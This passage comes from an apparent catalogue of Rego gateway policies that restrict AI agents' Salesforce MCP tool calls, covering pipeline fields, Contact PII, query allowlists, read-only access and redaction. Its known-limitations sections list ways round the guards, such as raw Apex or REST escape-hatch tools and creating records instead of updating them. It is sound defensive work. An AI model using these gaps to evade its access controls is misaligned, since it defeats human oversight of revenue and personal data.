**smn2gnt** (`update_record`, `bulk_update_records`): reads `object_type` and scans `data` (a single field map or an array of them). Updates to any other object, and updates to other Opportunity fields, pass through unchanged. A matched update whose object name is missing — or an Opportunity update whose body is missing or unstructured — **fails closed** (denied), because the gateway cannot then confirm the write leaves pipeline fields untouched. ## Compliance alignment - **SOX — SoD / COSO Principle 10 & Rule 13a-15(f)(2)(ii)** — separation of "initiate" from "approve" and transaction authorization: an autonomous agent can prepare an Opportunity but cannot itself authorize the stage/amount/close move that drives revenue recognition; a human in `sales-managers` does. - **SOX — PCAOB AI human-in-the-loop** — supports a draft-only posture for the agent on revenue-affecting records. - **SOC 2 CC6.3** — supports role-based access, least privilege, and segregation of duties by fencing pipeline mutation behind an IdP group. - **GDPR Art. 22 / CCPA-CPRA 11 CCR §7200 (ADMT)** — supports keeping a human in the loop for a commercially significant automated decision (moving a deal's stage/value) rather than letting the agent finalize it unattended. ## Why ingress Field updates are writes with permanent, externally visible side effects — an Opportunity stage or amount change feeds revenue reporting and can trigger Flow automations (customer emails, Slack posts, ERP syncs). The violation is fully determined by the request arguments, so denying at ingress stops the change before it reaches Salesforce. ## Tool name matching Tool names are matched on the (lowercased) **suffix**, because the DTwo gateway prefixes each tool with the configured MCP server name and that prefix is not standardized: - Hosted: `*-updatesobjectrecord`, `*-updaterecord`, `*-updatesobjectrecordbyrelationship` - tsmztech: `*salesforce_dml_records` (gated on `operation ∈ {update, upsert}`) - smn2gnt: `*-update_record`, `*-bulk_update_records` The camelCase hosted names and the community tool names above are the GA / published names from the app landscape note; confirm the exact strings against your deployed server's `tools/list` with the dump-input debug technique before relying on this in production. ## Argument shape - Hosted: object under `sobject-name`, fields under `body` (a field map). - tsmztech: object under `objectName`, operation under `operation`, records under `records` (an array of field maps). - smn2gnt: object under `object_type`, fields under `data` (a field map, or an array of them for `bulk_update_records`). Field-key matching is case-insensitive **and** whitespace-insensitive, so `stagename`, `StageName`, `STAGENAME`, and `"StageName "` are all caught. The operation gate (tsmztech) and the object name are matched case- **and** whitespace-insensitively (leading/trailing spaces, tabs, and newlines are stripped before comparison), so `"Opportunity "` or `"opportunity\n"` cannot be used to dodge the `Opportunity` match. The `body`/`sobject-name` key names above are verified for the hosted `sobject-all` server; the sibling `sobject-mutations` `updateRecord` arg shape is not separately verified in the landscape note. If a variant delivers the object under a different key, this policy sees no object name and **fails closed** (denies) rather than passing — confirm the shape against your server's schema. ## Examples ### Allowed (non-pipeline Opportunity field) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-updatesobjectrecord", "type": "tool" }, "payload": { "name": "salesforce-updatesobjectrecord", "args": { "sobject-name": "Opportunity", "id": "006xx0000000001", "body": { "Description": "Left VM; following up Friday", "NextStep": "Send pricing" } } } } } ``` `allow = true`, no reason. ### Denied (pipeline move, non-manager) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-updatesobjectrecord", "type": "tool" }, "payload": { "name": "salesforce-updatesobjectrecord", "args": { "sobject-name": "Opportunity", "id": "006xx0000000001", "body": { "StageName": "Closed Won", "Amount": 250000 } } } }, "subject": { "claims": { "groups": ["sales-reps"] } } } ``` `allow = false`, reason names the offending fields (`amount, stagename`). ### Allowed (same call, caller is a sales manager) The identical call with `"groups": ["sales-managers"]` in `subject.claims` is allowed — managers may move pipeline. ## Composition Companion Salesforce policies (see [`bundles/crm`](../../../bundles/crm/README.md)): - **`protect-contact-fields`** — the same object-scoped write guard for the `Contact` object (ownership, PII, consent). No overlap: this policy governs only `Opportunity` pipeline fields. - **`deny-escape-hatches`** — blocks `apex_execute` / `restful` / `tooling_execute` / `salesforce_execute_anonymous`, which could otherwise move pipeline via raw DML and bypass this argument-level check. - **`freeze-record-deletes`** — the delete-side companion. - **`role-gate-writes`** — the per-app least-privilege baseline. ## Known limitations - **Escape hatches bypass this check.** Raw-code / raw-API tools (`salesforce_execute_anonymous`, `apex_execute`, `tooling_execute`, `restful`) can write Opportunity fields without going through a matched update tool. Pair with `deny-escape-hatches`. - **Hosted `updateRelatedRecord` (sobject-mutations) not covered.** Like `protect-contact-fields`, this policy matches the three named hosted update tools; the relationship-scoped `updateRelatedRecord` variant does not carry a directly-identifiable object argument and is not inspected. - **Record *creation* is out of scope — this is an update-only guard.** The policy only inspects update/upsert calls; it does **not** cover the create tools, so an agent can create a brand-new Opportunity with `StageName`, `Amount`, and `CloseDate` already set (e.g. a Closed-Won deal born at creation). This affects every family: hosted `createSobjectRecord` / `createRecord`, smn2gnt `create_record` / `bulk_create_records`, and tsmztech `salesforce_dml_records` with `operation: "insert"`. Creation belongs to `role-gate-writes` / an object-allowlist policy, not to pipeline-move control — pair with those to fence Opportunity creation. Relatedly, a `salesforce_dml_records` call that omits `operation` entirely is treated as out of scope and passes; the tsmztech server itself requires the field, but do not treat this policy as the enforcement point for it. - **Structured arguments only.** If a server delivers the body/records as an opaque or stringified value rather than a JSON object/array, the field scan cannot read it. For that reason an Opportunity-targeted update whose body is present but unstructured **fails closed** (denied) rather than passing. - **Suffix tool-name match.** Any tool ending in one of the matched suffixes is inspected; if a non-Salesforce server exposed a colliding suffix it would be caught too. Narrow the match if that is a concern. - **Group names are placeholders — replace `sales-managers` with your IdP's group name at import time.** Missing/empty claims fail closed for the grant: a caller with no groups is never treated as a sales manager. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package salesforce.ingress.guard_opportunity_pipeline # Deny-by-default: only the explicit allow rules below permit a request. Every # tool that is not one of the recognised Salesforce update tools is allowed by # the first allow rule, so this "default deny" governs only matched update calls. default allow := false # Opportunity fields whose modification moves the revenue pipeline (compared # case-insensitively). protected := {"stagename", "amount", "closedate"} # Lowercased tool name; safe if resource/name is absent. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) # Tool arguments; safe if payload/args is absent. args := object.get(object.get(input, "payload", {}), "args", {}) # --- Tool-family detection --------------------------------------------------- # One generic tool fronts every object, so we match the tool name then key on # its arguments (argument-shaped, not tool-shaped). # Salesforce Hosted update tools (sobject-name + body). is_hosted_update if endswith(tool_name, "-updatesobjectrecord") is_hosted_update if endswith(tool_name, "-updatesobjectrecordbyrelationship") is_hosted_update if endswith(tool_name, "-updaterecord") # tsmztech generic DML tool — in scope only for record-modifying operations. is_tsmztech_update if { endswith(tool_name, "salesforce_dml_records") # Operation compared case-insensitively AND whitespace-trimmed, so # "update", "UPDATE", and "update " (trailing space) all count as in-scope — # a server that trims the enum before calling Salesforce cannot dodge the gate. lower(trim_space(object.get(args, "operation", ""))) in {"update", "upsert"} } # smn2gnt update tools (object_type + data). is_smn2gnt_update if endswith(tool_name, "-update_record") is_smn2gnt_update if endswith(tool_name, "-bulk_update_records") is_matched_update if is_hosted_update is_matched_update if is_tsmztech_update is_matched_update if is_smn2gnt_update # --- Normalised object name + body across the three argument shapes ---------- # Raw object-name argument, read from whichever key the matched family uses. obj_raw := object.get(args, "sobject-name", "") if is_hosted_update obj_raw := object.get(args, "objectName", "") if is_tsmztech_update obj_raw := object.get(args, "object_type", "") if is_smn2gnt_update # Object name compared case- AND whitespace-insensitively, so " Opportunity ", # "opportunity", and "Opportunity\n" are all recognised as Opportunity — a # server that trims before calling Salesforce cannot slip past an exact match. obj_name := lower(trim_space(obj_raw)) # Present only when the (trimmed) object name is a non-empty string; a missing # key or a whitespace-only value is treated as "object unknown" -> fails closed. obj_present if trim_space(obj_raw) != "" body_val := object.get(args, "body", null) if is_hosted_update body_val := object.get(args, "records", null) if is_tsmztech_update body_val := object.get(args, "data", null) if is_smn2gnt_update targets_opportunity if obj_name == "opportunity" # --- Field extraction -------------------------------------------------------- # The body may be a single field map (hosted body, smn2gnt single) or an array # of field maps (tsmztech records[], smn2gnt bulk data[]). # Field keys are lowercased AND whitespace-trimmed before comparison, so # "StageName", "STAGENAME", and "StageName " (trailing space) all resolve to the # protected key — mirroring the object-name normalisation so neither dimension # can be slipped past with surrounding whitespace. body_keys(b) := {lower(trim_space(k)) | some k in object.keys(b)} if is_object(b) body_keys(b) := {lower(trim_space(k)) | some e in b is_object(e) some k in object.keys(e) } if is_array(b) body_keys(b) := set() if { not is_object(b) not is_array(b) } body_is_structured if is_object(body_val) body_is_structured if is_array(body_val) # Protected pipeline fields present in the update body. offending := {f | some f in body_keys(body_val); protected[f]} # --- Identity gate (placeholder group — replace at import time) -------------- caller_is_sales_manager if { subject := object.get(input, "subject", {}) claims := object.get(subject, "claims", {}) groups := object.get(claims, "groups", []) "sales-managers" in groups } # --- Decision ---------------------------------------------------------------- # Pass through everything that is not a matched Salesforce update tool. allow if not is_matched_update # Sales managers may move pipeline; they are exempt from this policy. allow if { is_matched_update caller_is_sales_manager } # Everyone else: allow a matched update only when it is neither a pipeline move # nor a call we cannot verify as pipeline-safe. allow if { is_matched_update not caller_is_sales_manager not blocked } blocked if pipeline_move blocked if malformed # A pipeline move: an Opportunity update that touches a protected field. pipeline_move if { is_matched_update targets_opportunity count(offending) > 0 } # Fail closed: a matched update whose object cannot be determined, or an # Opportunity update whose body is missing or unstructured (so we cannot confirm # it leaves pipeline fields untouched). malformed if { is_matched_update not obj_present } malformed if { is_matched_update obj_present targets_opportunity not body_is_structured } # --- Reasons ----------------------------------------------------------------- reasons contains msg if { not caller_is_sales_manager pipeline_move msg := sprintf("Moving an Opportunity's pipeline is restricted: this update changes %s. Route revenue-pipeline changes through a sales manager (IdP group \"sales-managers\") or complete the stage move in the Salesforce UI approval flow.", [concat(", ", sort([f | some f in offending]))]) } reasons contains msg if { not caller_is_sales_manager malformed msg := "This Salesforce update could not be verified as pipeline-safe (missing object name or unstructured field body) and was denied. Resend the update with an explicit object name and a structured field body, or route the change through a sales manager or the Salesforce UI." } reason := concat("; ", sort([r | some r in reasons])) if count(reasons) > 0 ``` ### Salesforce Protect Contact Fields URL: https://www.intentbasedpolicy.com/policies/salesforce/protect-contact-fields App(s): salesforce | Direction: ingress | Bundles: crm, soc2, gdpr-ccpa | Package: salesforce.ingress.protect_contact_fields | Published: 2026-07-12 | Tags: salesforce, contacts, pii, access-control, governance, ingress, soc2, gdpr-ccpa, iso27001-nist Source: https://github.com/dtwoai/policy-store/blob/main/apps/salesforce/protect-contact-fields/policy.md # salesforce / protect-contact-fields **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `salesforce.ingress.protect_contact_fields` ## What it does Blocks Salesforce Contact updates that modify protected fields — ownership, account linkage, contact PII, name, and consent flags. Any `*-updatesobjectrecord` call targeting the `Contact` sobject whose request body includes one of the protected fields is denied, with a reason naming the offending fields. Updates to other Contact fields, updates to other sobjects, and all other tools pass through unchanged. ## Compliance alignment - **SOC 2 CC6.1** — logical access security over protected assets: the sensitive slice of the Contact object (ownership, PII, consent flags) cannot be modified through the agent channel. - **SOC 2 C1.1** — supports identifying and protecting confidential information by fencing named Contact fields against agent writes. - **HIPAA §164.308(a)(4)** — supports information access management: agents may work Contacts without the ability to alter identifying or contact data. - **HIPAA §164.312(c)** — supports integrity safeguards by preventing improper alteration of contact identity, linkage, and consent records via MCP. - **GDPR Art. 5(1)(d) / Art. 5(1)(f)** — supports accuracy and security of processing: an agent error or prompt injection cannot rewrite emails, names, ownership, or opt-out/consent state (`DoNotCall`, `HasOptedOutOfEmail`, `HasOptedOutOfFax`). - **ISO 27001 A.8.3** — information access restriction at field granularity on the write path. ## Why ingress Field updates are writes with permanent side effects (ownership reassignment, consent/opt-out changes, PII edits). The violation is fully determined by the request body, so denying at ingress prevents the change from ever reaching Salesforce. ## How it matches All of the following must hold for a call to be denied: - **Tool match.** The (lowercased) tool name ends with `-updatesobjectrecord` (suffix matching keeps the policy portable regardless of the MCP server name prefix the gateway adds). - **Contact sobject.** The `sobject-name` argument is `contact` (case-insensitive). - **Protected field present.** The `body` argument contains at least one protected field (case-insensitive): `OwnerId`, `AccountId`, `Email`, `Phone`, `MobilePhone`, `HomePhone`, `OtherPhone`, `Fax`, `FirstName`, `LastName`, `DoNotCall`, `HasOptedOutOfEmail`, `HasOptedOutOfFax`. ## Tool naming on the gateway DTwo prefixes tool names with the MCP server name configured on the gateway, so a Salesforce server registered as `salesforce` surfaces `salesforce-updatesobjectrecord`. This policy matches on the **suffix** (`-updatesobjectrecord`) so it stays portable across naming conventions. Confirm the exact tool name with the dump-input debug technique before deploying. ## Examples ### Allowed (non-protected field) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-updatesobjectrecord", "type": "tool" }, "payload": { "name": "salesforce-updatesobjectrecord", "args": { "sobject-name": "Contact", "record-id": "003xx", "body": { "Description": "Met at conference" } } } } } ``` `allow = true`, no reason. ### Denied (protected field) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-updatesobjectrecord", "type": "tool" }, "payload": { "name": "salesforce-updatesobjectrecord", "args": { "sobject-name": "Contact", "record-id": "003xx", "body": { "Email": "new@example.com", "Description": "..." } } } } } ``` `allow = false`, `reason = "Updating these protected fields on a Contact is not permitted through this gateway: email."`. ## Known limitations - **`updatesobjectrecord` only.** The `updaterelatedrecord` tool (which updates a child record reached via a parent + relationship path) is not covered, because the target object isn't directly identifiable from its arguments. Add a companion policy if that path must also be restricted. - **Suffix tool-name match.** The policy matches any tool ending in `-updatesobjectrecord`. If a non-Salesforce MCP server exposed a tool with that same suffix, it would also be inspected — narrow the match if that is a concern in your environment. - **No identity-based exemptions.** All callers are treated the same. To allow a break-glass role to edit protected fields, add an `allow if` branch gated on `input.subject.claims`. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package salesforce.ingress.protect_contact_fields default allow := false # Contact fields that may not be modified through this gateway (compared case-insensitively). protected_fields := { "ownerid", "accountid", "email", "phone", "mobilephone", "homephone", "otherphone", "fax", "firstname", "lastname", "donotcall", "hasoptedoutofemail", "hasoptedoutoffax", } # True when this call is a Contact update via updatesobjectrecord. is_contact_update if { endswith(lower(input.resource.name), "-updatesobjectrecord") lower(object.get(input.payload.args, "sobject-name", "")) == "contact" } # Pass through anything that is not a Contact update. allow if { not is_contact_update } # Allow a Contact update only when it touches none of the protected fields. allow if { is_contact_update count(offending_fields) == 0 } # The protected fields present in the update body. offending_fields := {lower(k) | some k in object.keys(object.get(input.payload.args, "body", {})) protected_fields[lower(k)] } reason := sprintf("Updating these protected fields on a Contact is not permitted through this gateway: %s.", [concat(", ", sort([f | some f in offending_fields]))]) if { is_contact_update count(offending_fields) > 0 } ``` ### Salesforce Query Allowlist URL: https://www.intentbasedpolicy.com/policies/salesforce/query-allowlist App(s): salesforce | Direction: ingress | Bundles: crm, soc2, pci-dss, gdpr-ccpa | Package: salesforce.ingress.query_allowlist | Published: 2026-07-12 | Tags: salesforce, access-control, data-protection, governance, ingress, soc2, pci-dss, gdpr-ccpa, iso27001-nist Source: https://github.com/dtwoai/policy-store/blob/main/apps/salesforce/query-allowlist/policy.md # salesforce / query-allowlist **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `salesforce.ingress.query_allowlist` ## What it does Restricts Salesforce SOQL queries so only `Account`, `Contact`, and `Opportunity` records can be retrieved. It parses the primary object from the SOQL `FROM` clause and allows the call only when that object is in the allowlist. All other Salesforce tools and all non-Salesforce tools pass through untouched. ## Compliance alignment - **SOC 2 C1.1 / P4.1** — supports protection of confidential information and limits personal-information use to identified purposes by scoping agent queries to three business objects. - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary access: agents cannot query objects (e.g. `Case`, `User`, health-cloud or custom objects) outside the approved set. - **HIPAA §164.308(a)(4)** — supports information access management by defining which record classes the agent channel may read at all. - **PCI DSS 7.2.6** — restricts programmatic query access to stored data: SOQL against objects that may hold account data is denied unless the object is explicitly allowlisted. - **GDPR Art. 5(1)(b)** — supports purpose limitation: the queryable surface matches the CRM purpose the agent was granted, not the whole org. - **CCPA/CPRA §1798.121** — supports limiting access to sensitive personal information held in non-allowlisted objects. - **ISO 27001 A.8.3** — information access restriction on the SOQL read path. ## Why ingress A query is a read whose scope is fully determined by the request (the SOQL string). Enforcing the allowlist at ingress prevents disallowed objects from ever being queried, rather than trying to filter results on the way back. ## How it matches - **Non-Salesforce tools** pass through (`not startswith("salesforce-")`). - **Other Salesforce tools** pass through — only `salesforce-soqlquery` is governed. - **SOQL queries** are allowed only when the primary `FROM` object (first `FROM` match, case-insensitive) is `account`, `contact`, or `opportunity`. ## Scope / tool naming This policy is scoped by the `salesforce-` server-name prefix and matches the query tool as `salesforce-soqlquery`, which assumes the Salesforce MCP server is registered on the gateway as `salesforce`. If your gateway registers it under a different name, adjust the `startswith`/tool-name checks. Confirm exact tool names with the dump-input debug technique before deploying. ## Examples ### Allowed (allowlisted object) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-soqlquery", "type": "tool" }, "payload": { "name": "salesforce-soqlquery", "args": { "q": "SELECT Id, Name FROM Account WHERE Industry = 'Tech'" } } } } ``` `allow = true`, no reason. ### Denied (non-allowlisted object) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-soqlquery", "type": "tool" }, "payload": { "name": "salesforce-soqlquery", "args": { "q": "SELECT Id, Username FROM User" } } } } ``` `allow = false`, `reason = "This gateway only permits querying Account, Contact, and Opportunity objects in Salesforce. Your query targets user."`. ## Known limitations - **SOQL tool only.** Only `salesforce-soqlquery` is governed — other read paths (`find`/SOSL, `listrecentsobjectrecords`, `getrelatedrecords`, `getobjectschema`) are not restricted. Add companion policies for full read coverage. - **Fail-safe parsing.** Queries whose primary object can't be parsed, and child-relationship subqueries in the SELECT list, are denied. - **No identity-based exemptions.** All callers get the same allowlist. Add an `input.subject.claims`-gated branch for a break-glass role. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package salesforce.ingress.query_allowlist default allow := false # Objects permitted to be queried via SOQL. allowed_objects := {"account", "contact", "opportunity"} # Pass through any non-Salesforce tool. allow if { not startswith(lower(input.resource.name), "salesforce-") } # This policy only governs the SOQL query tool; all other Salesforce tools pass through. allow if { startswith(lower(input.resource.name), "salesforce-") lower(input.resource.name) != "salesforce-soqlquery" } # Allow a SOQL query only when its primary FROM object is in the allowlist. allow if { lower(input.resource.name) == "salesforce-soqlquery" allowed_objects[primary_object] } # Primary object = the first object named after a FROM clause (case-insensitive). primary_object := obj if { q := object.get(input.payload.args, "q", "") matches := regex.find_all_string_submatch_n(`(?i)\bfrom\s+([a-zA-Z_][a-zA-Z0-9_]*)`, q, -1) count(matches) > 0 obj := lower(matches[0][1]) } # Human-readable target for the denial message; falls back when the query can't be parsed. resolved_object := primary_object resolved_object := "an unrecognized or unparseable object" if not primary_object reason := sprintf("This gateway only permits querying Account, Contact, and Opportunity objects in Salesforce. Your query targets %s.", [resolved_object]) if { lower(input.resource.name) == "salesforce-soqlquery" not allow } ``` ### Salesforce Read-Only Access URL: https://www.intentbasedpolicy.com/policies/salesforce/read-only App(s): salesforce | Direction: ingress | Bundles: crm, soc2, gdpr-ccpa | Package: salesforce.ingress.readonly | Published: 2026-07-12 | Tags: salesforce, access-control, governance, read-only, ingress, soc2, gdpr-ccpa, iso27001-nist Source: https://github.com/dtwoai/policy-store/blob/main/apps/salesforce/read-only/policy.md # salesforce / read-only **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on match, allow otherwise **Package:** `salesforce.ingress.readonly` ## What it does Restricts the Salesforce MCP server to read-only access. Non-Salesforce tools pass through untouched; among Salesforce tools, only the known read tools (`soqlquery`, `find`, `getobjectschema`, `getrelatedrecords`, `getuserinfo`, `listrecentsobjectrecords`) are allowed. Any other `salesforce-*` tool — including current and future write tools like `createsobjectrecord`, `updatesobjectrecord`, `updaterelatedrecord` — is denied. ## Compliance alignment - **SOC 2 CC6.1** — enforces logical access security over Salesforce data on the agent channel: only named read tools reach the org. - **SOC 2 CC6.3** — least privilege for the agent identity: write capability is removed regardless of the OAuth token's underlying Salesforce permissions. - **HIPAA §164.308(a)(4) / §164.312(a)(1)** — supports information access management and technical access control by narrowing what an authenticated agent session can do to read-only. - **PCI DSS 7.2.1/7.2.2, 7.2.5** — supports a least-privilege access model, including for the application/system account the MCP server runs as. - **GDPR Art. 25 / Art. 29** — data protection by default on the agent channel (unknown tools fail closed) and processing kept within the controller's instructions (no mutations). - **SOX ITGC (access to programs & data); §802 / 18 U.S.C. §1519** — supports safeguarding of financial records (Opportunity, Order, Contract) by denying create/update/delete tools, including future ones, on this path. - **ISO 27001 A.5.15 / NIST 800-53 AC-3** — access-control enforcement at the gateway policy enforcement point. ## Why an allowlist (fail-closed) This is an allowlist, not a blocklist: writes are denied by default and only named read tools are permitted. New write tools added to the MCP server in the future therefore fail closed (denied) rather than slipping through until someone remembers to blocklist them. ## Why ingress Writes have permanent side effects. The read/write nature of a call is fully determined by which tool is invoked, so denying non-read tools at ingress guarantees no mutation reaches Salesforce. ## How it matches - **Non-Salesforce tools** pass through (`not startswith("salesforce-")`). - **Salesforce read tools** in the allowlist are permitted. - **Everything else** under the `salesforce-` prefix is denied. ## Scope / tool naming This policy is scoped by the `salesforce-` server-name prefix and lists tools by their full `salesforce-*` names, which assumes the Salesforce MCP server is registered on the gateway as `salesforce`. If your gateway registers it under a different name, adjust the prefix and the allowlist entries. Confirm exact tool names with the dump-input debug technique before deploying. ## Examples ### Allowed (read tool) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-soqlquery", "type": "tool" }, "payload": { "name": "salesforce-soqlquery", "args": { "q": "SELECT Id FROM Account" } } } } ``` `allow = true`, no reason. ### Denied (write tool) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "salesforce-createsobjectrecord", "type": "tool" }, "payload": { "name": "salesforce-createsobjectrecord", "args": { "sobject-name": "Account", "body": { "Name": "Acme" } } } } } ``` `allow = false`, `reason = "Salesforce write operations (create/modify) are blocked on this gateway. Only read-only Salesforce tools are permitted."`. ## Known limitations - **Allowlist maintenance.** New *read* tools must be added to `salesforce_read_tools` or they will be denied. This is the intended trade-off for fail-closed behavior on writes. - **Prefix-scoped.** Scoping is `startswith("salesforce-")` with full tool names. A server registered under a different prefix won't be governed until the checks are adjusted. - **No identity-based exemptions.** All callers are read-only. To allow a break-glass writer, add an `allow if` branch gated on `input.subject.claims`. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package salesforce.ingress.readonly default allow := false # Salesforce read-only tools that are permitted salesforce_read_tools := { "salesforce-soqlquery", "salesforce-find", "salesforce-getobjectschema", "salesforce-getrelatedrecords", "salesforce-getuserinfo", "salesforce-listrecentsobjectrecords", } # This policy only governs the Salesforce MCP server. # Any non-Salesforce tool passes through untouched. allow if { not startswith(lower(input.resource.name), "salesforce-") } # Allow only the known Salesforce read-only tools. allow if { salesforce_read_tools[lower(input.resource.name)] } reason := "Salesforce write operations (create/modify) are blocked on this gateway. Only read-only Salesforce tools are permitted." if not allow ``` ### Salesforce Redact PII URL: https://www.intentbasedpolicy.com/policies/salesforce/redact-pii App(s): salesforce | Direction: egress | Bundles: crm, soc2, hipaa, gdpr-ccpa | Package: salesforce.egress.pii_redaction | Published: 2026-07-12 | Tags: salesforce, pii, dlp, redaction, egress, soc2, hipaa, gdpr-ccpa, iso27001-nist Source: https://github.com/dtwoai/policy-store/blob/main/apps/salesforce/redact-pii/policy.md # salesforce / redact-pii **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `salesforce.egress.pii_redaction` ## What it does Redacts personal contact information from Salesforce tool responses before they reach the caller. It is transform-only — it never denies a call, it only rewrites matching content to `[REDACTED]`. Any non-Salesforce tool, and any request that isn't on the output path, passes through untouched. `Name` and `Account` are intentionally left intact so records stay usable — extend `redact_fields` (e.g. add `Name`, `FirstName`, `LastName`) if full-PII redaction is required. ## Compliance alignment - **SOC 2 CC6.7** — restricts the movement of personal contact information out of Salesforce over the agent channel by masking it in responses. - **SOC 2 C1.1** — supports identification and protection of confidential information (contact PII fields) on the read path. - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary access: agents get working records without direct contact identifiers. - **HIPAA §164.514(a)–(b)** — supports de-identification practice by stripping Safe-Harbor identifier classes (phone, email, address, birthdate) from responses. - **PCI DSS 3.4.1** — the 16-digit card-number pattern masks PANs that leak into Salesforce text fields when displayed to the caller. - **GDPR Art. 5(1)(c) / Art. 5(1)(f)** — data minimisation and security of processing on agent reads of personal data. - **CCPA/CPRA §1798.121 / §1798.150** — supports limiting sensitive PI exposure and reduces nonredacted-PI breach surface on the MCP path. - **ISO 27001 A.8.11 / A.8.12** — data masking and data-leakage prevention applied at the gateway. ## Why egress The risk is *reading* PII that lives in Salesforce records (emails, phone numbers, mailing address, birthdate). Those values exist regardless of this gateway, so there is nothing to block at ingress — the leak happens when the content is returned to an MCP client. Masking on the egress (response) path is the only place to catch it. ## Scope / tool matching Applies to any tool whose (lowercased) name starts with `salesforce-`, on the output path (`input.mode == "output"`). If your Salesforce MCP server is registered under a different prefix, adjust the `startswith` check. Confirm the exact tool names with the dump-input debug technique before deploying. ## What gets redacted **By field name** — `Email`, `Phone`, `MobilePhone`, `HomePhone`, `OtherPhone`, `AssistantPhone`, `Fax`, `MailingStreet`, `MailingCity`, `MailingState`, `MailingPostalCode`, `MailingAddress`, `Birthdate` (matched case-insensitively). And **by pattern** in any string value: email addresses, US phone numbers (formatted and raw 10-digit), US SSNs, and 16-digit credit-card numbers. Matches are replaced with `[REDACTED]`. ## Examples ### Redacted (Salesforce tool response) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "salesforce-soqlquery", "type": "tool" } } } ``` `allow = true`, with a `transform` supplying the redaction patterns, field names, and `replacement = "[REDACTED]"` for the gateway to apply to the response body, plus `reason = "PII redacted from Salesforce response"` so the redaction is explained in the dashboard. ### Passed through (non-Salesforce tool, or not output path) A response from a non-`salesforce-` tool, or any request not on the output path, returns `allow = true` with no `transform` — unchanged. ## Known limitations - **Regex over text.** Detection is pattern-based, so novel formats may be missed and benign strings that look like a phone/email/card may be over-redacted. Treat this as a high-signal layer, not a complete DLP solution. - **Name/Account preserved by design.** These are not redacted so records stay identifiable; extend `redact_fields` if you need them masked. - **Prefix-scoped.** Scoping is `startswith("salesforce-")`. A server under a different prefix won't be covered until the check is adjusted. - **No identity-based exemptions.** All callers get the same redaction. Add an `input.subject.claims`-gated branch if a break-glass role needs raw values. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package salesforce.egress.pii_redaction # Transform-only egress policy — never blocks, redacts PII from Salesforce responses. default allow := true transform := { "redact_patterns": [ # Email addresses "[\\w.+\\-]+@[\\w.\\-]+\\.[a-zA-Z]{2,}", # US phone numbers (formatted, requires separators between digit groups) "\\+?\\d{0,3}[\\s.\\-]?\\(?\\d{3}\\)?[\\s.\\-]\\d{3}[\\s.\\-]\\d{4}", # Raw 10-digit phone numbers (word-bounded to avoid matching longer IDs) "\\b\\d{10}\\b", # Social Security Numbers (XXX-XX-XXXX) "\\b\\d{3}-\\d{2}-\\d{4}\\b", # Credit card numbers (16 digits, optional separators) "\\b\\d{4}[\\s\\-]?\\d{4}[\\s\\-]?\\d{4}[\\s\\-]?\\d{4}\\b" ], "redact_fields": [ "Email", "Phone", "MobilePhone", "HomePhone", "OtherPhone", "AssistantPhone", "Fax", "MailingStreet", "MailingCity", "MailingState", "MailingPostalCode", "MailingAddress", "Birthdate" ], "replacement": "[REDACTED]" } if { input.mode == "output" startswith(lower(input.resource.name), "salesforce-") } # Surfaced on the decision event whenever the redaction is in scope, so the # dashboard can explain the rewrite. reason := "PII redacted from Salesforce response" if { input.mode == "output" startswith(lower(input.resource.name), "salesforce-") } ``` ### Salesforce Role-Gated Writes URL: https://www.intentbasedpolicy.com/policies/salesforce/role-gate-writes App(s): salesforce | Direction: ingress | Bundles: crm, soc2, gdpr-ccpa | Package: salesforce.ingress.role_gate_writes | Published: 2026-07-12 | Tags: salesforce, role-gate-writes, access-control, least-privilege, ingress, soc2, gdpr-ccpa, crm Source: https://github.com/dtwoai/policy-store/blob/main/apps/salesforce/role-gate-writes/policy.md # salesforce / role-gate-writes **Direction:** ingress (`tool_pre_invoke`) **Default:** deny unrecognized Salesforce tools; allow reads for everyone; allow create/update writes only for approved groups **Package:** `salesforce.ingress.role_gate_writes` ## What it does The PF-12 least-privilege baseline for Salesforce. Read tools pass for everyone, create/update tools pass only when the caller's IdP `groups` claim includes an approved placeholder group (`sales` or `support`), and any other tool under the Salesforce server prefix fails closed (denied). - **Reads** (`soql_query`/`executeQuery`/`querySobjects`, `find`/`executeSearch`/ `searchSobjects`, `getObjectSchema`/`getSchema`, `getUser`, `getRecentItems`, `getRelatedRecords`, and the community read names) are allowed regardless of group — this policy does not restrict read access. - **Create/update writes** are allowed only for members of the approved groups. A non-member's write is denied with an actionable reason; a caller with no subject, no claims, or no `groups` claim fails closed (denied). - **Deletes** (`deleteSobjectRecord`, `deleteSobjectRecordByRelationship`, `deleteChildRecord`, `delete_record`, `bulk_delete_records`) are recognized and **passed through unchanged** — they are intentionally left to the stricter 